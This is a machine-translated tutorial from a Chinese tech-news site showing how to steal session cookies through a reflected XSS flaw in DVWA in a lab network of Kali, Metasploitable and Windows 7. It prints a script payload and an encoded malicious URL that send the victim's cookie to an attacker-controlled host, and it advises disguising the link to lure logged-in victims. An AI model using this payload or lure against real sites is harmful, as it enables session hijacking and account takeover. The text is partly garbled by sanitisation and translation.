Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to take advantage of XSS loopholes to obtain each other's cookie

2025-04-06 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)06/01 Report--

This article mainly explains "how to use XSS loopholes to obtain each other's cookie". The content of the article is simple and clear, and it is easy to learn and understand. Please follow the editor's train of thought to study and learn "how to use XSS loopholes to get each other's cookie".

(1) Environment building

Kali linux:192.168.80.136

Target win7: 192.168.80.130

Metasploitable:192.168.80.129

Cookie receives the script get.php (the script is under the / var/www/html folder, html folder permissions 777):

(2) XSS vulnerability exploitation

Log in to the DVWA of metasploitable, click on the page with XSS vulnerability, enter the following code, and submit: newImage () .src = "http://192.168.80.136/get.php?cookie="+[xss_clean];"

(3) View cookie

Switch to kali and look directly at the cookie.txt content to see the obtained cookie.

(4) further utilization

After the target is submitted, you can see the following URL in the address bar:

Http://192.168.80.129/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2F192.168.80.136%2Fget.php%3Fcookie%3D%22%2B[xss_clean]%3B%3C%2Fscript%3E#

The above URL can be disguised as other forms (such as images) to induce the target to click, and the same effect can be achieved when the target is logged in.

Thank you for your reading, the above is the content of "how to use XSS loopholes to obtain each other's cookie". After the study of this article, I believe you have a deeper understanding of how to use XSS loopholes to obtain each other's cookie. Specific use also needs to be verified in practice. Here is, the editor will push for you more related knowledge points of the article, welcome to follow!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report